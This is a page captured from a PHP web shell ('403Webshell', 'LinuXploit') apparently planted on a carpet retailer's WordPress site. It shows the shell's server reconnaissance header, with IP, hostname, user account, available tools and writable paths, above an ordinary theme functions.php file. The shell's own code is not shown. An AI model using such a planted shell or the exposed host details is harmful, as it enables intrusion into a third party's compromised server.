403Webshell
Server IP : 103.255.250.91  /  Your IP : 216.73.217.146
Web Server : Apache
System : Linux charlie.thegoodhost.io 5.14.0-570.39.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 4 05:08:52 EDT 2025 x86_64
User : tongkhen ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tongkhen/domains/carpetworld.com.sg/wp-content/themes/renovation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tongkhen/domains/carpetworld.com.sg/wp-content/themes/renovation/functions.php
<?php
session_start();
/*
 * Creating a function to create our CPT
 */
add_action('after_setup_theme', 'register_my_menu');
function register_my_menu() {
    register_nav_menu('primary', __('Primary Menu', 'theme-slug'));
    register_nav_menu('footer_menus', __('Footer Menu', 'theme-slug'));
}
add_filter('nav_menu_css_class' , 'special_nav_class' , 10 , 2);
function special_nav_class ($classes, $item) {
    if (in_array('current-menu-item', $classes) ){
        $classes[] = 'active ';
    }
    return $classes;
}
add_theme_support('post-formats');
add_theme_support('post-thumbnails');
add_theme_support('widgets');
add_image_size( 'singlepost-thumb', 600, 400 );
/**
 * Proper way to enqueue scripts and styles.
 */
 
 add_action( 'widgets_init', 'wpmm_init' );
function prefix_add_button_after_menu_item_children( $item_output, $item, $depth, $args ) {
    if ( $args->theme_location == 'primary' ) {
        if ( in_array( 'menu-item-has-children', $item->classes ) || in_array( 'page_item_has_children', $item->classes ) ) {
            $item_output = str_replace( $args->link_after . '</a>', $args->link_after . '</a><span class="drop-menus"></span>', $item_output );
        }
    }
    return $item_output;
}
add_filter( 'walker_nav_menu_start_el', 'prefix_add_button_after_menu_item_children', 10, 4 );
/* function modify_home_in_nav_menu_objects( $items, $args ) {
	 foreach ( $items as $k => $object ) {
		if ( in_array( 'menu-item-has-children' , $object->classes ) ) {
		
				$object->title = $object->title.'<span class="drop-menus">';
		}
	 }
    return $items;
}
add_filter( 'wp_nav_menu_objects', 'modify_home_in_nav_menu_objects', 10, 2 ); */
function wpdocs_theme_name_scripts() {
// style link
    wp_enqueue_style('style-name', get_stylesheet_uri());
	 wp_enqueue_style('style-carousel', get_stylesheet_directory_uri() . '/css/owl.carousel.css');
    wp_enqueue_style('style-bootsrap', get_stylesheet_directory_uri() . '/css/bootstrap.min.css');
    wp_enqueue_style('style-fancyboxcss', get_stylesheet_directory_uri() . '/css/jquery.fancybox.css');
    wp_enqueue_style('style-custome', get_stylesheet_directory_uri() . '/css/custom-style.css', array(), time());
    wp_enqueue_style('style-fonts', get_stylesheet_directory_uri() . '/fonts/stylesheet.css');
    wp_enqueue_style('style-fontawsome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css');
	
// scirpt link
   	wp_enqueue_script('jquery-script', get_stylesheet_directory_uri() . '/js/jquery-3.3.1.min.js');
    wp_enqueue_script('bootstrap-min', get_stylesheet_directory_uri() . '/js/bootstrap.min.js');
    wp_enqueue_script('custom-jquery', get_stylesheet_directory_uri() . '/js/custom.js');
    wp_enqueue_script('matchHeight-min', get_stylesheet_directory_uri() . '/js/jquery.matchHeight-min.js');
    wp_enqueue_script('fancybox-jquery', get_stylesheet_directory_uri() . '/js/jquery.fancybox.min.js');
 
}
add_action('wp_enqueue_scripts', 'wpdocs_theme_name_scripts');
/* ajax url */
add_action('wp_head', 'myplugin_ajaxurl');
function myplugin_ajaxurl() {
	echo '<script async type="text/javascript">
   var ajaxurl = "' . admin_url('admin-ajax.php') . '";
   var siteurl = "' . get_bloginfo('url') . '";
 </script>';
}
// add theme Options
if (function_exists('acf_add_options_page')) {
    acf_add_options_page(array(
        'page_title' => 'Theme General Settings',
        'menu_title' => 'Theme Settings',
        'menu_slug' => 'theme-general-settings',
        'capability' => 'edit_posts',
        'redirect' => false
    ));
}
//hide admin bar
add_action('after_setup_theme', 'remove_admin_bar');
function remove_admin_bar() {
    if (!current_user_can('administrator') && !is_admin()) {
        show_admin_bar(false);
    }
}

function wpdocs_kantbtrue_init() {
    $labels = array( 
        'name'                  => _x( 'Carpet Pricing', 'Post type general name', 'transformations' ),
        'singular_name'         => _x( 'Carpet Pricing', 'Post type singular name', 'transformations' ),
        'menu_name'             => _x( 'Carpet Pricing', 'Admin Menu text', 'transformations' ),
        'name_admin_bar'        => _x( 'Carpet Pricing', 'Add New on Toolbar', 'transformations' ),
        'add_new'               => __( 'Add New', 'transformations' ),
        'add_new_item'          => __( 'Add New Carpet Pricing', 'transformations' ),
        'new_item'              => __( 'New Carpet Pricing', 'transformations' ),
        'edit_item'             => __( 'Edit Carpet Pricing', 'transformations' ),
        'view_item'             => __( 'View Carpet Pricing', 'transformations' ),
        'all_items'             => __( 'All Carpet Pricing', 'transformations' ),
        'search_items'          => __( 'Search Carpet Pricing', 'transformations' ),
        'parent_item_colon'     => __( 'Parent Carpet Pricing:', 'transformations' ),
        'not_found'             => __( 'No Carpet Pricing found.', 'transformations' ),
        'not_found_in_trash'    => __( 'No Carpet Pricing found in Trash.', 'transformations' ),
    );     
    $args = array(
        'labels'             => $labels,
        'description'        => 'Carpet Pricing',
        'public'             => true,
        'publicly_queryable' => true,
        'show_ui'            => true,
        'show_in_menu'       => true,
        'query_var'          => true,
        'rewrite'            => array( 'slug' => 'transformations' ),
        'capability_type'    => 'post',
        'has_archive'        => true,
        'hierarchical'       => false,
        'menu_position'      => 20,
        'supports'           => array( 'title', 'editor', 'author', 'thumbnail' ),
        'show_in_rest'       => true
    );
      
    register_post_type( 'transformations', $args );
}
add_action( 'init', 'wpdocs_kantbtrue_init' );

function transformations_taxonomy() {
    register_taxonomy(
            'transformations_categories', 
            'transformations', //post type name
            array(
                'hierarchical' => true,
                'label' => 'Carpet Categories',
				'show_ui'           => true,
				'show_admin_column' => true,
				'query_var'         => true
            )
    );
}
add_action('init', 'transformations_taxonomy');


/**ADD GOOGLE FONT LATO **/

function add_google_fonts() {
 
wp_enqueue_style( 'google-fonts', 'https://fonts.googleapis.com/css2?family=Lato&display=swap:300italic,400italic,700italic,400,700,300,500,600,800,900', false ); 
}
 
add_action( 'wp_enqueue_scripts', 'add_google_fonts' );

/* 
add_action( 'wp_ajax_propertys', 'prifixed_propertys' );
add_action('wp_ajax_nopriv_propertys','prifixed_propertys');
function prifixed_propertys(){
	$paged = $_REQUEST['page'];
	$args = array(
        'post_type' => 'transformations',
		'post_status' => 'publish',
		'orderby' => 'ID',
		'order' => 'DESC',
		'posts_per_page' => 9,
		'meta_query' => array(
			array(
				'key' => 'display_home',
				'value' => 'yes'        
			)
		),
        'paged' => $paged,
       
    );
	 $property_query = new WP_Query($args); ?>
	 <div class="row">
	<?php if ($property_query->have_posts()) : while ($property_query->have_posts()) : $property_query->the_post(); 
	$featured_img = get_the_post_thumbnail_url(get_the_ID(),'full');
	$no_img = get_bloginfo('template_directory').'/images/no-image.jpg';
	if(!empty($featured_img)){
		$featured_imgs = $featured_img;
	} else {
		$featured_imgs = $no_img;
	}
	?>
            <div class="col-md-4 col-12">
                <div class="transformations-item">
                    <div class="images-sec">
                        <img src="<?php echo $featured_imgs;?>">
						<?php if(get_field('special_offer') == 'yes'){ ?>
							<div class="special-offer ">
								<img src="<?php echo get_stylesheet_directory_uri();?>/images/Special-Offer.png">
							</div>
						<?php } ?>
                        <div class="budget-item">
                            <h2>budget</h2>
                            <span><?php the_field('currency_sign','option') .''. the_field('budget');?></span>
                        </div>
                    </div>

                    <div class="transformations-bottom">
						<div class="floor-area-text">
							<h2>floor area:</h2>
							<span><?php the_title();?></span>
						</div>
						<?php if( have_rows('ratings') ): while( have_rows('ratings') ) : the_row(); 
							 $number_average = get_sub_field('rating_number'); 
						?>
						
							<div class="workmanship">
								<h4><?php echo get_sub_field('rating_title');?></h4>
								<ul>
								<?php
								if($number_average >= 5){
										echo '<li><i class="fa fa-star" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
									} else if($number_average >= 4.5){
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-half-o checked" aria-hidden="true"></i></li>';
									} else if($number_average >= 4){
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
									} else if($number_average >= 3.5){
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-half-o checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
									}
									else if($number_average >= 3){
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o"" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
									} else if($number_average >= 2.5){
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-half-o checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
									} else if($number_average >= 2){
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
									}else if($number_average >= 1.5){
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-half-o checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
									} else if($number_average >= 1){
										echo '<li><i class="fa fa-star checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
									} else if($number_average >= 0.5){
										echo '<li><i class="fa fa-star-half-o checked" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
									} else {
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
										echo '<li><i class="fa fa-star-o" aria-hidden="true"></i></li>';
									}
								?>
								</ul>
							</div>
						<?php endwhile; else : endif; ?>
                    </div>
                </div>
            </div>
			<?php endwhile; 
				// Again - hard coded, you should make it dynamic though
				$base = "{$wp_rewrite->pagination_base}/%#%/";
				$total_pages = $property_query->max_num_pages;
						if ($total_pages > 1){
						$current_page = max(1, get_query_var('paged'));
					?>
					<nav style="display:none;" aria-label="Page navigation example " class="pagination-outer product-paginations-ajx">
						<?php   
							echo paginate_links(array(
								'base' => $base,
								'format' => 'page/%#%',
								'current' => $current_page,
								'current'      => max( 1, $paged ),
								'total' => $total_pages,
								'type'         => 'list',
								'prev_text'    => __('<i class="fa fa-arrow-left" aria-hidden="true"></i>'),
								'next_text'    => __('<i class="fa fa-arrow-right" aria-hidden="true"></i>'),
							));
							?>
					</nav>
					<?php } 
			
			
			wp_reset_postdata(); endif;  ?>
            <div class="col-md-12 col-12">
                <div class="view-more">
                    <a href="" page-att="<?php echo $current_page;?>">view more</a>
                </div>
            </div>
        </div>

<?php 	
die;
}
 */

Youez - 2016 - github.com/yon3zu
LinuXploit